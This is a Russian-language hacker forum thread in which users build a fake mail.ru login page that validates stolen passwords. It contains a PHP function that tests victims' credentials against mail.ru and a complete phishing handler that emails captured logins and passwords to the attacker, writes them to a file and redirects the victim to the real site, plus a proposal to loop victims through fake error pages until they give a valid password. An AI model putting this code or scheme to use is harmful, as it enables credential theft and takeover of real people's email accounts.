Фейк mail.ru с проверкой пароля

Discussion in 'PHP' started by КИНГ, 30 Mar 2008.

Thread Status:
Not open for further replies.
  1. КИНГ

    КИНГ Elder - Старейшина

    Joined:
    13 Jun 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    Нужен фейк mail.ru с проверкой пароля Т.е. если пользователь ввел неверные данные, выдается сообщение о неверном пароли, если верный, то пользователь идет на нужную нам страницу
     
  2. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    PHP:
    function login($email,$password)
    {
        
    $email strtolower($email);
        list(
    $login$domain) = explode('@',$email);
        
    $openMail file_get_contents('http://win.mail.ru/cgi-bin/auth?Login='.urlencode($login).'&Password='.urlencode($password).'&Domain='.urlencode($domain));
        if(!
    preg_match('|<title> Вход в систему </title>|',$openMail) && preg_match('|<title>.+'.str_replace('.','\.',$email).'.+</title>|',$openMail))
        {
            return 
    true;
        }
        else
        {
            return 
    false;
        }
    }
    Вот простейшая функция для проверки.
    Проверять так
    Code:
    if(login('[email protected]', 'passwd')) {
    	...
    }
     
  3. zythar

    zythar Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    517
    Likes Received:
    109
    Reputations:
    5
    ничего сложного. при обработке полученных данных (читай логина и пароля) вместе с тем что пишешь в файл/отсылаешь себе на мыло итд итп так же отправляешь запрос на майл.ру при помощи сокетов потом получаешь ответ и выводишь его. и все будет так как будто чел ошибся и ввел на правильный логин и пароль
     
  4. КИНГ

    КИНГ Elder - Старейшина

    Joined:
    13 Jun 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    NOmeR1


    спасибо большое!

    но т.к. я в пхп не силен, не подскажешь куда конкретно вставлять этот код?
     
  5. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    ты просишь фейк но сам по видимому не осознаешь что это такое.
     
  6. КИНГ

    КИНГ Elder - Старейшина

    Joined:
    13 Jun 2006
    Messages:
    129
    Likes Received:
    25
    Reputations:
    -1
    мне нужен такой же фэйк как этот http://ifolder.ru/5953891 но с проверкой пароля!
     
  7. opy495

    opy495 Member

    Joined:
    23 Mar 2008
    Messages:
    37
    Likes Received:
    6
    Reputations:
    -5
    блин народ обьясните плиз , куда этот пхп код засовывать? в файла log.php? или куда? куда конкретно в файл? в самом начале файла или в самом конце?

    и ешё как мона сделать так чтоб когда чел ввел правильный пас от своего ящика он автоматом с фейк страницы зашел к себе в ящик?
     
  8. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Можно сделать, чтобы при ведение пароля фейк отправлял запрос на маил.ру, если пароль правельный, то фейк ведет через PHP пароль и логин на маил.ру и жертва войдет, а если не правельный то выдает жертве 2 фейк, и так по кругу... пока жертва не дас нам нужный пасс :p

    Если это увидит Ponchik то я думаю что он это сделает!!!


    P.S. Идея придумана за 5 мин, но не сделана, надеюсь я подкинул идею для работы)))
     
    #8 НTL, 4 Apr 2008
    Last edited: 4 Apr 2008
  9. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Я думаю в начало, хотя ХЗ
     
  10. opy495

    opy495 Member

    Joined:
    23 Mar 2008
    Messages:
    37
    Likes Received:
    6
    Reputations:
    -5
    ну что кто-нить знает?
     
    1 person likes this.
  11. scrat

    scrat кодер

    Joined:
    8 Apr 2007
    Messages:
    625
    Likes Received:
    541
    Reputations:
    3
    NOmeR1 всё написал уже.В log.php добавляете функцию и проверку:
    PHP:
    if(login($Login,$Pass))
    {
     
    //пароль верен,вывести соответсвующие
    }
    else
    {
     
    //пароль не верен,вывести соответсвующие
    }
     
    6 people like this.
  12. opy495

    opy495 Member

    Joined:
    23 Mar 2008
    Messages:
    37
    Likes Received:
    6
    Reputations:
    -5
    ну вот я вставил такм образом , но функция не пашет , видимо не в том место всунул код , я нисилен в php , кууда его тут вставлять то нада? и вообше тот код который дал Nomer1 не дописан , ибо там идет првоерка только логин пасса , а на мейле ешё есть такое понятие как домен inbox/bk итд

    PHP:
    <?PHP
    Error_Reporting
    (E_ALL & ~E_NOTICE);

    $Login $_POST['Login'];
    $Domain $_POST['Domain'];
    $Pass $_POST['Password'];


    //####################################
    $from "[email protected]"// от кого письмо
    $to "[email protected]"// кому присылаем данные

    $subj " sdfsdjfnd15154 : $Login@$Domain"// тема письма
    $body " Логин: $Login@$Domain \n Пароль: $Pass"// тело письма (реконмендую не менять)
    //####################################

    if(login($Login,$Pass)) 

     
    //пароль верен,вывести соответсвующие 

    else 

     
    //пароль не верен,вывести соответсвующие 
    }  


    $from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit"
    $from=convert_cyr_string($from,"w","k"); 
    $to=convert_cyr_string($to,"w","k"); 
    $subj=convert_cyr_string($subj,"w","k"); 
    $body=convert_cyr_string($body,"w","k"); 
    mail($to,$subj,$body,$from); 

    $c "$Login@$Domain:$Pass";

    $fp fopen("c","a+"); //открываем файл
    fwrite($fp,"\n [start-- $c -- end] \n"); //записываем всё
    fclose($fp); //закрываем

    //####################################
    header("Location: http://win.mail.ru/cgi-bin/start?ver=%32%30%39%34&back=1"); // куда пошлем пользователя после того как он ввел данные!

    echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?ver=%32%30%39%34&back=1\">"

    //####################################
    ?>
     
    #12 opy495, 5 Apr 2008
    Last edited: 5 Apr 2008
  13. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    opy495, научитесь смотреть код. У меня он сам определяет через разделитель @.
     
  14. opy495

    opy495 Member

    Joined:
    23 Mar 2008
    Messages:
    37
    Likes Received:
    6
    Reputations:
    -5
    блин да я ваще 0 в php/html
    вы можите обьяснить что нужно вставить и главное куда конкретно чтобы у меня проверялась валидность пары логин/пас
     
  15. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Учите, разжовывать за вас никто не будет.
     
  16. opy495

    opy495 Member

    Joined:
    23 Mar 2008
    Messages:
    37
    Likes Received:
    6
    Reputations:
    -5
    а что так сложно сказать что нада вписать в файл и куда ? o_O
     
  17. opy495

    opy495 Member

    Joined:
    23 Mar 2008
    Messages:
    37
    Likes Received:
    6
    Reputations:
    -5
    ну обьясните нубу вставляю в log.php код , log.php прикручен к index.php в функции action

    вот в это вставляю в log.php

    даю 777 права , захожу на фейк страницу , ввожу не верную пару логин пас
    жму войти , меня перекидывает на cayt.ru/log.php и все , передомной чистая страница , больше ниче не происходит... что я не прально сделал?
     
  18. -=Dem0n=-

    -=Dem0n=- Elder - Старейшина

    Joined:
    15 Mar 2007
    Messages:
    66
    Likes Received:
    5
    Reputations:
    0
    А можно вопрос? каким хостингом пользуешся?)
     
  19. opy495

    opy495 Member

    Joined:
    23 Mar 2008
    Messages:
    37
    Likes Received:
    6
    Reputations:
    -5
    пробовал на tu2.ru и на jino-net.ru
     
  20. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    opy495 - убей себя.

    удалите тему.
     
Loading...
Similar Threads - Фейк mail проверкой
  1. GAiN
    Replies:
    3
    Views:
    7,456
Thread Status:
Not open for further replies.